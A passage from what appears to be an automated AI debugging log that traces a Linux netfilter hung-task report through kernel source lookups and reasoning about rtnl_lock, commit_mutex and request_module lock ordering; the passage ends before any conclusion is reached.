11101: nft_trans_obj(trans),
11102: NFT_MSG_NEWOBJ);
11103: } else {
11104: nft_clear(net, nft_trans_obj(trans));
11105: nf_tables_obj_notify(&ctx,
11106: nft_trans_obj(trans),
11107: NFT_MSG_NEWOBJ);
11108: nft_trans_destroy(trans);
11109: }
11110: break;
11111: case NFT_MSG_DELOBJ:
11112: case NFT_MSG_DESTROYOBJ:
11113: nft_obj_del(nft_trans_obj(trans));
11114: nf_tables_obj_notify(&ctx, nft_trans_obj(trans),
11115: trans->msg_type);
11116: break;
11117: case NFT_MSG_NEWFLOWTABLE:
11118: if (nft_trans_flowtable_update(trans)) {
11119: nft_trans_flowtable(trans)->data.flags =
11120: nft_trans_flowtable_flags(trans);
11121: nf_tables_flowtable_notify(&ctx,
11122: nft_trans_flowtable(trans),
11123: &nft_trans_flowtable_hooks(trans),
11124: NFT_MSG_NEWFLOWTABLE);
11125: list_splice(&nft_trans_flowtable_hooks(trans),
11126: &nft_trans_flowtable(trans)->hook_list);
11127: } else {
11128: nft_clear(net, nft_trans_flowtable(trans));
11129: nf_tables_flowtable_notify(&ctx,
11130: nft_trans_flowtable(trans),
11131: NULL,
11132: NFT_MSG_NEWFLOWTABLE);
11133: }
11134: nft_trans_destroy(trans);
11135: break;
11136: case NFT_MSG_DELFLOWTABLE:
11137: case NFT_MSG_DESTROYFLOWTABLE:
11138: if (nft_trans_flowtable_update(trans)) {
11139: nf_tables_flowtable_notify(&ctx,
11140: nft_trans_flowtable(trans),
11141: &nft_trans_flowtable_hooks(trans),
11142: trans->msg_type);
11143: nft_unregister_flowtable_net_hooks(net,
11144: nft_trans_flowtable(trans),
11145: &nft_trans_flowtable_hooks(trans));
11146: } else {
11147: list_del_rcu(&nft_trans_flowtable(trans)->list);
11148: nf_tables_flowtable_notify(&ctx,
11149: nft_trans_flowtable(trans),
11150: NULL,
11151: trans->msg_type);
11152: nft_unregister_flowtable_net_hooks(net,
11153: nft_trans_flowtable(trans),
11154: &nft_trans_flowtable(trans)->hook_list);
11155: }
11156: break;
11157: }
11158: }
11159:
11160: nft_set_commit_update(&set_update_list);
11161:
11162: nft_commit_notify(net, NETLINK_CB(skb).portid);
11163: nf_tables_gen_notify(net, skb, NFT_MSG_NEWGEN);
11164: nf_tables_commit_audit_log(&adl, nft_net->base_seq);
11165:
11166: nft_gc_seq_end(nft_net, gc_seq);
11167: nft_net->validate_state = NFT_VALIDATE_SKIP;
11168: nf_tables_commit_release(net);
11169:
11170: return 0;
11171: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 50/2 |
2026/05/31 10:21 |
llm |
expert |
0m
Model:
Tokens:
input: 58535
output: 45
thoughts: 163
Thoughts: **Analyzing the Netfilter Hooks and Locking in nftables Commit Process**
Okay, let's break this down. My initial thought process is centered around how `nf_tables_commit` handles hook registration and unregistration within the netfilter framework. I'm noting that `nf_tables_commit` triggers `nft_netdev_unregister_hooks`, and that ultimately calls `nf_unregister_net_hooks`. The critical question is whether `nf_tables_commit` itself acquires the `rtnl_lock` – because that's crucial for understanding concurrency implications. But the answer to that is, no, it doesn't.
Now, I'm backtracking a little. I need to be sure I'm following the registration path correctly. Does `nf_tables_commit` call `nf_tables_commit_chain_prepare`, which in turn then calls `nf_register_net_hooks`? No, that's not it. Okay, so `nf_register_net_hooks` is actually called by either `nf_tables_newchain` or `nf_tables_commit_chain_prepare`, got it.
Okay, let's try the unregistering path. Does `nf_tables_commit_chain_prepare` call `nft_netdev_register_hooks` instead? And it looks like the answer is, yes, it does, which means I should drill down on `nf_tables_commit_chain_prepare` to confirm the full hook registration lifecycle. Time to examine that function more closely.
|
| 51/2 |
2026/05/31 10:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_commit_chain_prepare]
Results: map[SourceCode:10261: static int nf_tables_commit_chain_prepare(struct net *net, struct nft_chain *chain)
10262: {
10263: const struct nft_expr *expr, *last;
10264: struct nft_regs_track track = {};
10265: unsigned int size, data_size;
10266: void *data, *data_boundary;
10267: struct nft_rule_dp *prule;
10268: struct nft_rule *rule;
10269:
10270: /* already handled or inactive chain? */
10271: if (chain->blob_next || !nft_is_active_next(net, chain))
10272: return 0;
10273:
10274: data_size = 0;
10275: list_for_each_entry(rule, &chain->rules, list) {
10276: if (nft_is_active_next(net, rule)) {
10277: data_size += sizeof(*prule) + rule->dlen;
10278: if (data_size > INT_MAX)
10279: return -ENOMEM;
10280: }
10281: }
10282:
10283: chain->blob_next = nf_tables_chain_alloc_rules(chain, data_size);
10284: if (!chain->blob_next)
10285: return -ENOMEM;
10286:
10287: data = (void *)chain->blob_next->data;
10288: data_boundary = data + data_size;
10289: size = 0;
10290:
10291: list_for_each_entry(rule, &chain->rules, list) {
10292: if (!nft_is_active_next(net, rule))
10293: continue;
10294:
10295: prule = (struct nft_rule_dp *)data;
10296: data += offsetof(struct nft_rule_dp, data);
10297: if (WARN_ON_ONCE(data > data_boundary))
10298: return -ENOMEM;
10299:
10300: size = 0;
10301: track.last = nft_expr_last(rule);
10302: nft_rule_for_each_expr(expr, last, rule) {
10303: track.cur = expr;
10304:
10305: if (nft_expr_reduce(&track, expr)) {
10306: expr = track.cur;
10307: continue;
10308: }
10309:
10310: if (WARN_ON_ONCE(data + size + expr->ops->size > data_boundary))
10311: return -ENOMEM;
10312:
10313: memcpy(data + size, expr, expr->ops->size);
10314: size += expr->ops->size;
10315: }
10316: if (WARN_ON_ONCE(size >= 1 << 12))
10317: return -ENOMEM;
10318:
10319: prule->handle = rule->handle;
10320: prule->dlen = size;
10321: prule->is_last = 0;
10322:
10323: data += size;
10324: size = 0;
10325: chain->blob_next->size += (unsigned long)(data - (void *)prule);
10326: }
10327:
10328: if (WARN_ON_ONCE(data > data_boundary))
10329: return -ENOMEM;
10330:
10331: prule = (struct nft_rule_dp *)data;
10332: nft_last_rule(chain, prule);
10333:
10334: return 0;
10335: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 52/2 |
2026/05/31 10:21 |
llm |
expert |
0m
Model:
Tokens:
input: 60280
output: 48
thoughts: 1541
Thoughts: **Analyzing a Potential Kernel Deadlock**
Okay, let's break this down. First, I see that `nf_tables_commit` doesn't directly take `rtnl_lock`, which is a key observation. However, `rtnl_lock` *is* being held by something, and that's the crux of the problem. My immediate thought is, who's holding it?
Could it be that `request_module` calls `/sbin/modprobe`, and *that* then loads `nf_conntrack_bridge`, which in turn calls `nf_ct_bridge_register`? The flow seems logical, so I need to understand whether `modprobe` itself holds `rtnl_lock`. No, `modprobe` is userspace, but it might perform netlink operations that do acquire the lock, such as creating a bridge device. However, just loading the module doesn't.
Now, if `modprobe` is hanging, it's waiting on something, and that's where things get interesting. Is the kernel blocked in `request_module` because `call_usermodehelper` is waiting on the userspace process to finish, but the userspace process is itself blocked on `rtnl_lock`? If `modprobe` attempts to load a module that, during its initialization, attempts to acquire `rtnl_lock`, it would block. But *who* is holding the lock in the first place?
Looking at the reproducer, it appears to be a single-threaded program. The reproducer calls system calls to set up some memory regions. Critically, there's no direct acquisition of `rtnl_lock` within the reproducer code. It's a netlink socket, so I need to think about asynchronous processes.
Aha! `crda_timeout_work` is a delayed work that is scheduled by `call_crda`. This is called when the kernel needs to set the regulatory domain, and this is happening *asynchronously*. The bug report suggests this is the issue since `crda_timeout_work` is blocked on `rtnl_lock()`. The critical question is *why* is `rtnl_lock()` held for so long (143 seconds)? Because some other task is holding the `rtnl_lock` and is blocked.
The reproducer sends a netlink message to `NETLINK_NETFILTER`, which is crucial. It looks like it creates a table, a chain, and a rule with `synproxy`. Does the processing of this netlink message hold the lock? `nfnetlink_rcv_batch` doesn't. `nf_tables_newrule` doesn't.
So, let's circle back to the module loading. What if `request_module` *is* called, and `modprobe` holds `rtnl_lock`? If `modprobe` hangs while holding it, the lock is held forever. Why would `modprobe` hang? Perhaps during the load of `nf_conntrack_bridge`. The `nf_conntrack_bridge` init function calls `nf_ct_bridge_register` which takes `nf_ct_proto_mutex`. But it would be holding `nf_ct_proto_mutex` already.
Wait, if `modprobe` calls `nf_conntrack_bridge` init, it tries to take `nf_ct_proto_mutex`. But, `nf_ct_proto_mutex` may already be held by the task that called `request_module` and called `modprobe`.
I need to circle back to `nf_ct_netns_do_get` again.
|
| 53/2 |
2026/05/31 10:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_conntrack_proto.c Name:nf_ct_netns_do_get]
Results: map[SourceCode: 435: static int nf_ct_netns_do_get(struct net *net, u8 nfproto)
436: {
437: struct nf_conntrack_net *cnet = nf_ct_pernet(net);
438: bool fixup_needed = false, retry = true;
439: int err = 0;
440: retry:
441: mutex_lock(&nf_ct_proto_mutex);
442:
443: switch (nfproto) {
444: case NFPROTO_IPV4:
445: cnet->users4++;
446: if (cnet->users4 > 1)
447: goto out_unlock;
448: err = nf_defrag_ipv4_enable(net);
449: if (err) {
450: cnet->users4 = 0;
451: goto out_unlock;
452: }
453:
454: err = nf_register_net_hooks(net, ipv4_conntrack_ops,
455: ARRAY_SIZE(ipv4_conntrack_ops));
456: if (err)
457: cnet->users4 = 0;
458: else
459: fixup_needed = true;
460: break;
461: #if IS_ENABLED(CONFIG_IPV6)
462: case NFPROTO_IPV6:
463: cnet->users6++;
464: if (cnet->users6 > 1)
465: goto out_unlock;
466: err = nf_defrag_ipv6_enable(net);
467: if (err < 0) {
468: cnet->users6 = 0;
469: goto out_unlock;
470: }
471:
472: err = nf_register_net_hooks(net, ipv6_conntrack_ops,
473: ARRAY_SIZE(ipv6_conntrack_ops));
474: if (err)
475: cnet->users6 = 0;
476: else
477: fixup_needed = true;
478: break;
479: #endif
480: case NFPROTO_BRIDGE:
481: if (!nf_ct_bridge_info) {
482: if (!retry) {
483: err = -EPROTO;
484: goto out_unlock;
485: }
486: mutex_unlock(&nf_ct_proto_mutex);
487: request_module("nf_conntrack_bridge");
488: retry = false;
489: goto retry;
490: }
491: if (!try_module_get(nf_ct_bridge_info->me)) {
492: err = -EPROTO;
493: goto out_unlock;
494: }
495: cnet->users_bridge++;
496: if (cnet->users_bridge > 1)
497: goto out_unlock;
498:
499: err = nf_register_net_hooks(net, nf_ct_bridge_info->ops,
500: nf_ct_bridge_info->ops_size);
501: if (err)
502: cnet->users_bridge = 0;
503: else
504: fixup_needed = true;
505: break;
506: default:
507: err = -EPROTO;
508: break;
509: }
510: out_unlock:
511: mutex_unlock(&nf_ct_proto_mutex);
512:
513: if (fixup_needed) {
514: struct nf_ct_iter_data iter_data = {
515: .net = net,
516: .data = (void *)(unsigned long)nfproto,
517: };
518: nf_ct_iterate_cleanup_net(nf_ct_tcp_fixup, &iter_data);
519: }
520:
521: return err;
522: }
SourceFile:net/netfilter/nf_conntrack_proto.c]
|
| 54/2 |
2026/05/31 10:22 |
llm |
expert |
0m
Model:
Tokens:
input: 63920
output: 48
thoughts: 202
Thoughts: **Analyzing Conntrack Module Loading and Locking**
Okay, so I'm looking at this `nf_ct_netns_do_get` function and immediately a potential race condition jumps out. The code clearly *drops* the `nf_ct_proto_mutex` before calling `request_module("nf_conntrack_bridge")`. That's unusual. It's expecting the module to be present, but not *guaranteeing* its availability with a lock held. This means `nf_ct_proto_mutex` is definitely *not* held during the module loading process.
Now, my mind races. What if `request_module` is somehow called from another location, potentially at the same time? Could that create a conflict? I need to track down all calls to `request_module` within the conntrack context to fully grasp the concurrency implications.
Let's see... Aha! I remember seeing `nft_synproxy_do_init` somewhere... right, it calls `nf_ct_netns_get(ctx->net, ctx->family)`. Okay, and if `ctx->family` is `NFPROTO_INET`, which is the common case, it leads to `nf_ct_netns_inet_get(net)`. I'll want to take a closer look at `nf_ct_netns_inet_get`. This needs a deeper look...
|
| 55/2 |
2026/05/31 10:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_conntrack_proto.c Name:nf_ct_netns_inet_get]
Results: map[SourceCode: 559: static int nf_ct_netns_inet_get(struct net *net)
560: {
561: int err;
562:
563: err = nf_ct_netns_do_get(net, NFPROTO_IPV4);
564: #if IS_ENABLED(CONFIG_IPV6)
565: if (err < 0)
566: goto err1;
567: err = nf_ct_netns_do_get(net, NFPROTO_IPV6);
568: if (err < 0)
569: goto err2;
570:
571: return err;
572: err2:
573: nf_ct_netns_put(net, NFPROTO_IPV4);
574: err1:
575: #endif
576: return err;
577: }
SourceFile:net/netfilter/nf_conntrack_proto.c]
|
| 56/2 |
2026/05/31 10:22 |
llm |
expert |
0m
Model:
Tokens:
input: 64769
output: 43
thoughts: 385
Thoughts: **Analyzing the Netfilter Hook Registration Process**
Okay, let's break this down. My initial observation is that `nf_ct_netns_inet_get` appears to be using `nf_ct_netns_do_get` for both IPv4 and IPv6. Notably, there's no call to `request_module` here, which is interesting. Then, `nft_synproxy_do_init` comes into play, calling `nf_synproxy_ipv4_init` and `nf_synproxy_ipv6_init`. These functions, crucially, involve `nf_register_net_hooks`.
Now, the use of `nf_hook_mutex` within `nf_register_net_hooks` is a significant point. I need to be sure; does `nf_register_net_hooks` hold `rtnl_lock`? No, it does not.
The reproducer, however, sends a netlink message targeting `NETLINK_NETFILTER`. Analyzing the message, I see the "syz0" table, "syz2" chain, and the critical `NFTA_CHAIN_HOOK` attribute. The `NFTA_CHAIN_HOOK` includes `NFTA_HOOK_PRIORITY` and `NFTA_HOOK_HOOKNUM`. This chain definition clearly uses `NFTA_CHAIN_HOOK`, indicating this is a base chain.
Therefore, when this base chain is created, `nf_tables_newchain` is called, which then calls `nf_tables_register_hook`. Now, I need to focus on what happens within `nf_tables_register_hook` to understand the root cause. This is where the issue lies.
|
| 57/2 |
2026/05/31 10:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_register_hook]
Results: map[SourceCode: 376: static int nf_tables_register_hook(struct net *net,
377: const struct nft_table *table,
378: struct nft_chain *chain)
379: {
380: struct nft_base_chain *basechain;
381: const struct nf_hook_ops *ops;
382:
383: if (table->flags & NFT_TABLE_F_DORMANT ||
384: !nft_is_base_chain(chain))
385: return 0;
386:
387: basechain = nft_base_chain(chain);
388: ops = &basechain->ops;
389:
390: if (basechain->type->ops_register)
391: return basechain->type->ops_register(net, ops);
392:
393: if (nft_base_chain_netdev(table->family, basechain->ops.hooknum))
394: return nft_netdev_register_hooks(net, &basechain->hook_list);
395:
396: return nf_register_net_hook(net, &basechain->ops);
397: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 58/2 |
2026/05/31 10:22 |
llm |
expert |
0m
Model:
Tokens:
input: 65937
output: 44
thoughts: 36
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Potential RTNL Lock Contention in Netfilter Hooks**
Okay, a nagging question just popped into my head. I'm looking at the `nft_netdev_register_hooks` function. The code path that registers netdev hooks, as the name suggests, requires careful scrutiny. I need to be absolutely certain it doesn't try to grab the `rtnl_lock`. If it does, that immediately raises a red flag regarding potential contention issues, especially with Netlink operations.
I'm going to quickly dive into the `nft_netdev_register_hooks` implementation to confirm (or dispel) this suspicion. This is a critical area, and I need to verify how it interacts with the underlying Netlink infrastructure. Any locking order violations could be catastrophic, leading to deadlocks or performance bottlenecks. I need to know exactly what resources this function touches and in what order. I'll focus on anything related to Netlink and the route/netlink tables. This is high-stakes; if it *does* grab `rtnl_lock` I need to figure out where and what the implications are.
|
| 59/2 |
2026/05/31 10:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nft_netdev_register_hooks]
Results: map[SourceCode: 300: static int nft_netdev_register_hooks(struct net *net,
301: struct list_head *hook_list)
302: {
303: struct nf_hook_ops *ops;
304: struct nft_hook *hook;
305: int err, j;
306:
307: j = 0;
308: list_for_each_entry(hook, hook_list, list) {
309: list_for_each_entry(ops, &hook->ops_list, list) {
310: err = nf_register_net_hook(net, ops);
311: if (err < 0)
312: goto err_register;
313:
314: j++;
315: }
316: }
317: return 0;
318:
319: err_register:
320: list_for_each_entry(hook, hook_list, list) {
321: list_for_each_entry(ops, &hook->ops_list, list) {
322: if (j-- <= 0)
323: break;
324:
325: nf_unregister_net_hook(net, ops);
326: }
327: }
328: return err;
329: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 60/2 |
2026/05/31 10:22 |
llm |
expert |
0m
Model:
Tokens:
input: 66705
output: 43
thoughts: 72
Thoughts: **Analyzing the Netfilter Chain Registration**
Okay, first things first, there's no immediate `rtnl_lock` to worry about, which is good. That simplifies things a bit. But wait, what's this? `basechain->type->ops_register`? I need to understand this. What exactly is this `ops_register` function attached to this chain type? Let me trace it back to see what's going on.
Ah, I see it's for `NFPROTO_INET`, the chain type is `nft_chain_filter_inet`. Okay, so now I need to dive into `nft_chain_filter_inet` to figure out what that `ops_register` function does. Let's see what that reveals.
|
| 61/2 |
2026/05/31 10:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nft_chain_filter.c Name:nft_chain_filter_inet]
Results: map[SourceCode: 195: static const struct nft_chain_type nft_chain_filter_inet = {
196: .name = "filter",
197: .type = NFT_CHAIN_T_DEFAULT,
198: .family = NFPROTO_INET,
199: .hook_mask = (1 << NF_INET_INGRESS) |
200: (1 << NF_INET_LOCAL_IN) |
201: (1 << NF_INET_LOCAL_OUT) |
202: (1 << NF_INET_FORWARD) |
203: (1 << NF_INET_PRE_ROUTING) |
204: (1 << NF_INET_POST_ROUTING),
205: .hooks = {
206: [NF_INET_INGRESS] = nft_do_chain_inet_ingress,
207: [NF_INET_LOCAL_IN] = nft_do_chain_inet,
208: [NF_INET_LOCAL_OUT] = nft_do_chain_inet,
209: [NF_INET_FORWARD] = nft_do_chain_inet,
210: [NF_INET_PRE_ROUTING] = nft_do_chain_inet,
211: [NF_INET_POST_ROUTING] = nft_do_chain_inet,
212: },
213: };
SourceFile:net/netfilter/nft_chain_filter.c]
|
| 62/2 |
2026/05/31 10:22 |
llm |
expert |
0m
Model:
Tokens:
input: 67403
output: 44
thoughts: 1146
Thoughts: **Analyzing a Netfilter Deadlock Scenario**
Okay, so I'm looking at this netfilter issue and the first thing I notice is a lack of `ops_register`. Hmmm, I need to figure out the context of the table family. Could it be `NFPROTO_NETDEV`? Let's trace back. The reproducer sets the table family to `1`. Is that `NFPROTO_IPV4`? Nope, it's `NFPROTO_INET`! Ah, the bytes tell the tale: `0a 01 03 00 00 00 00 00 00 00 00 00 01 00 ff fd 09 00 01 00 73 79 7a 30 00 00 00 00`. The critical part, `01`, indicates `nfgen_family` is set to `1`, which is indeed `NFPROTO_INET`.
Now, if the family is `NFPROTO_INET`, `nft_synproxy_do_init` is called, and that in turn calls `nf_synproxy_ipv4_init` and `nf_synproxy_ipv6_init`. Those two functions call `nf_register_net_hooks`.
Hold on, `nf_register_net_hooks` uses `nf_hook_mutex`. This makes me think about potential deadlocks. Is there an interaction between `nf_hook_mutex`, `commit_mutex`, and `rtnl_lock`? I need to check if `rtnl_lock` is held when `nf_hook_mutex` is acquired. A quick look shows that netdev events often take `rtnl_lock`, and then call `nf_unregister_net_hooks`, which, in turn, takes `nf_hook_mutex`. For example, `unregister_netdevice` might trigger netfilter hooks through `dev_close`.
Bingo! The `nft_netdev_event` function is called on netdev events, and *that* function takes `commit_mutex`. We have a potential deadlock scenario because of the nested locking order of these mutexes, as a combination of `rtnl_lock`, `nf_hook_mutex` and `commit_mutex` are called in this code path.
|
| 63/2 |
2026/05/31 10:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_netdev_event]
Results: map[SourceCode: 402: static int nf_tables_netdev_event(struct notifier_block *this,
403: unsigned long event, void *ptr)
404: {
405: struct net_device *dev = netdev_notifier_info_to_dev(ptr);
406: struct nftables_pernet *nft_net;
407: int ret = NOTIFY_DONE;
408:
409: if (event != NETDEV_REGISTER &&
410: event != NETDEV_UNREGISTER &&
411: event != NETDEV_CHANGENAME)
412: return NOTIFY_DONE;
413:
414: nft_net = nft_pernet(dev_net(dev));
415: mutex_lock(&nft_net->commit_mutex);
416:
417: if (event == NETDEV_CHANGENAME) {
418: if (__nf_tables_netdev_event(NETDEV_REGISTER, dev, true)) {
419: ret = NOTIFY_BAD;
420: goto out_unlock;
421: }
422: __nf_tables_netdev_event(NETDEV_UNREGISTER, dev, true);
423: } else if (__nf_tables_netdev_event(event, dev, false)) {
424: ret = NOTIFY_BAD;
425: }
426: out_unlock:
427: mutex_unlock(&nft_net->commit_mutex);
428: return ret;
429: }
SourceFile:net/netfilter/nft_chain_filter.c]
|
| 64/2 |
2026/05/31 10:22 |
llm |
expert |
0m
Model:
Tokens:
input: 69574
output: 48
thoughts: 923
Thoughts: **Deadlock Detected: nf_tables_newrule and Netdev Events**
Okay, let me break this down. It clicked: `nf_tables_netdev_event` is a netdev notifier, meaning it's called with `rtnl_lock` *already* held. That's crucial. The lock order here is: first `rtnl_lock`, then `commit_mutex`.
But hang on, in `nf_tables_newrule`, the order is reversed: `commit_mutex` *before* `request_module`. And I see the problem... `request_module` calls `modprobe`. Now, if `modprobe` were to try and acquire `rtnl_lock`, we've got a problem. Does `modprobe` do it? Not directly, it doesn't *normally* take `rtnl_lock`, but it *might* load a module that does, or even just call some function within its execution path.
So what's the scenario? Let's say `request_module("nf_conntrack_bridge")` is triggered, just as an example. Does `nf_conntrack_bridge` init take `rtnl_lock`? No. But, let's remember that `request_module` calls `call_usermodehelper`, and that's the kicker! `call_usermodehelper` *waits* for the user-space process (like `modprobe`) to complete. The user-space process *could* try to take `rtnl_lock` for *any* reason, which would cause a deadlock! This is a classic AB-BA deadlock situation.
So, here's how it plays out: Imagine another thread (let's say unregistering a device, or handling a netdev event) already holds `rtnl_lock` and is *waiting* to acquire `commit_mutex`. Meanwhile, the thread in `nf_tables_newrule` has `commit_mutex` and it's calling `request_module`, which spawns `modprobe`.
`modprobe` has launched! And if `modprobe` attempts to acquire `rtnl_lock` to do its work, it blocks. We have all three threads hanging! Any other thread that attempts to grab `rtnl_lock`, like from `crda_timeout_work`, will also freeze.
So this is it! It perfectly explains the reports we are getting.
Now, let's verify. Does `modprobe` itself take `rtnl_lock`? Not necessarily. But it might load a module that does. For example, if we run `modprobe nf_conntrack_bridge`, it doesn't take `rtnl_lock` directly.
But there's another path to explore: `request_module` can be called elsewhere. In `nft_synproxy_do_init`, it calls `nf_ct_netns_get`. When the `family` is `NFPROTO_INET`, it calls `nf_ct_netns_inet_get(net)`, which in turn calls `nf_ct_netns_do_get(net, NFPROTO_IPV4)` and `nf_ct_netns_do_get(net, NFPROTO_IPV6)`. Does *that* call `request_module`? Let's check `nf_ct_netns_do_get`... That is our next step for verification.
|
| 65/2 |
2026/05/31 10:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_conntrack_proto.c Name:nf_ct_netns_do_get]
Results: map[SourceCode: 435: static int nf_ct_netns_do_get(struct net *net, u8 nfproto)
436: {
437: struct nf_conntrack_net *cnet = nf_ct_pernet(net);
438: bool fixup_needed = false, retry = true;
439: int err = 0;
440: retry:
441: mutex_lock(&nf_ct_proto_mutex);
442:
443: switch (nfproto) {
444: case NFPROTO_IPV4:
445: cnet->users4++;
446: if (cnet->users4 > 1)
447: goto out_unlock;
448: err = nf_defrag_ipv4_enable(net);
449: if (err) {
450: cnet->users4 = 0;
451: goto out_unlock;
452: }
453:
454: err = nf_register_net_hooks(net, ipv4_conntrack_ops,
455: ARRAY_SIZE(ipv4_conntrack_ops));
456: if (err)
457: cnet->users4 = 0;
458: else
459: fixup_needed = true;
460: break;
461: #if IS_ENABLED(CONFIG_IPV6)
462: case NFPROTO_IPV6:
463: cnet->users6++;
464: if (cnet->users6 > 1)
465: goto out_unlock;
466: err = nf_defrag_ipv6_enable(net);
467: if (err < 0) {
468: cnet->users6 = 0;
469: goto out_unlock;
470: }
471:
472: err = nf_register_net_hooks(net, ipv6_conntrack_ops,
473: ARRAY_SIZE(ipv6_conntrack_ops));
474: if (err)
475: cnet->users6 = 0;
476: else
477: fixup_needed = true;
478: break;
479: #endif
480: case NFPROTO_BRIDGE:
481: if (!nf_ct_bridge_info) {
482: if (!retry) {
483: err = -EPROTO;
484: goto out_unlock;
485: }
486: mutex_unlock(&nf_ct_proto_mutex);
487: request_module("nf_conntrack_bridge");
488: retry = false;
489: goto retry;
490: }
491: if (!try_module_get(nf_ct_bridge_info->me)) {
492: err = -EPROTO;
493: goto out_unlock;
494: }
495: cnet->users_bridge++;
496: if (cnet->users_bridge > 1)
497: goto out_unlock;
498:
499: err = nf_register_net_hooks(net, nf_ct_bridge_info->ops,
500: nf_ct_bridge_info->ops_size);
501: if (err)
502: cnet->users_bridge = 0;
503: else
504: fixup_needed = true;
505: break;
506: default:
507: err = -EPROTO;
508: break;
509: }
510: out_unlock:
511: mutex_unlock(&nf_ct_proto_mutex);
512:
513: if (fixup_needed) {
514: struct nf_ct_iter_data iter_data = {
515: .net = net,
516: .data = (void *)(unsigned long)nfproto,
517: };
518: nf_ct_iterate_cleanup_net(nf_ct_tcp_fixup, &iter_data);
519: }
520:
521: return err;
522: }
SourceFile:net/netfilter/nf_conntrack_proto.c]
|
| 66/2 |
2026/05/31 10:22 |
llm |
expert |
0m
Model:
Tokens:
input: 72562
output: 50
thoughts: 95
Thoughts: Okay, let me think this through.
**Analyzing the Netfilter Connection Tracking Module**
Alright, hang on a second. I was under the impression that the `nf_ct_netns_do_get` function, specifically for IPv4 traffic (`NFPROTO_IPV4`), triggered a module request using `request_module`. But that doesn't seem to be the case. It appears that it merely calls `nf_defrag_ipv4_enable` and `nf_register_net_hooks`. This is important, as automatic module loading has security and performance implications.
Now, a crucial question arises. Does `nf_defrag_ipv4_enable` itself invoke `request_module`? This is the new crucial point to investigate. I'm going to have to go back and examine the implementation of `nf_defrag_ipv4_enable` more closely. I need to confirm whether the module loading is happening there.
|
| 67/2 |
2026/05/31 10:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ipv4/netfilter/nf_defrag_ipv4.c Name:nf_defrag_ipv4_enable]
Results: map[SourceCode: 145: int nf_defrag_ipv4_enable(struct net *net)
146: {
147: int err = 0;
148:
149: mutex_lock(&defrag4_mutex);
150: if (net->nf.defrag_ipv4_users == UINT_MAX) {
151: err = -EOVERFLOW;
152: goto out_unlock;
153: }
154:
155: if (net->nf.defrag_ipv4_users) {
156: net->nf.defrag_ipv4_users++;
157: goto out_unlock;
158: }
159:
160: err = nf_register_net_hooks(net, ipv4_defrag_ops,
161: ARRAY_SIZE(ipv4_defrag_ops));
162: if (err == 0)
163: net->nf.defrag_ipv4_users = 1;
164:
165: out_unlock:
166: mutex_unlock(&defrag4_mutex);
167: return err;
168: }
SourceFile:net/ipv4/netfilter/nf_defrag_ipv4.c]
|
| 68/2 |
2026/05/31 10:23 |
llm |
expert |
0m
Model:
Tokens:
input: 73285
output: 42
thoughts: 2169
Thoughts: **Analyzing a Potential Deadlock in Netfilter Rule Processing**
Okay, so I'm looking at this crash, and my initial thought is, there's no direct call to `request_module` in the code I'm looking at. But, wait, what if `request_module` is indirectly triggered? Could it be called from something like `nft_expr_type_get`? Yes, bingo! `nft_expr_type_get` actually calls `request_module("nft-expr-synproxy")`. Now, `nft_expr_type_get` itself is invoked from `nf_tables_expr_parse`, and that's the key. If the `nft-expr-synproxy` module isn't loaded, `request_module` is triggered. This happens within `nf_tables_newrule`, which holds the `commit_mutex`. So, if `request_module` tries to load this module, and `modprobe` somehow grabs the `rtnl_lock` – maybe through a netlink socket, or by bringing up a device – we have a deadlock: one thread holding `rtnl_lock` and waiting for `commit_mutex` (a netdev event), and another thread holding `commit_mutex` while waiting for `rtnl_lock`.
But, does `modprobe` itself actually take `rtnl_lock`? No, not directly. However, it *could* trigger something *else* that takes the lock. My thinking then shifts: is the reproducer *itself* doing something funky? It's just a single process, so it just needs to trigger `request_module` and `modprobe`. If `modprobe` hangs, it's waiting on something, a resource, or some state. Now, what if `modprobe` is unavailable? If it's not available, `call_usermodehelper` should return an error, and it shouldn't hang. But, `call_usermodehelper` uses a workqueue... If that workqueue is blocked... Ah! I see now, the hung task is `crda_timeout_work`. That work item is on the `events_power_efficient` workqueue, and it's blocked on `rtnl_lock()`. Someone has held `rtnl_lock()` for 143 seconds.
Okay, let's analyze the reproducer. It's using `AF_NETLINK` – sending a netlink message. Does `nfnetlink_rcv_batch` hold `rtnl_lock()`? Nope. Does `nf_tables_newrule`? No. So, what about `request_module` being called for some other module? When `modprobe` runs as a user-mode helper, it calls `nft_synproxy_module_init`. This module init calls `nft_register_expr`, which takes `nfnl_lock(NFNL_SUBSYS_NFTABLES)`. But, in `nfnetlink_rcv_batch`, that `nfnl_lock` *is dropped* before calling `nf_tables_newrule`. So, `nfnl_lock` is *not* held during `nf_tables_newrule`. Then, `nf_tables_newrule` takes `commit_mutex`, so the module loads, `modprobe` succeeds and returns. No deadlock there. Also, what if `modprobe` loads `nf_conntrack_bridge`? That init calls `nf_ct_bridge_register` which takes `nf_ct_proto_mutex`. Again, `nf_ct_proto_mutex` is dropped before `request_module`, no deadlock.
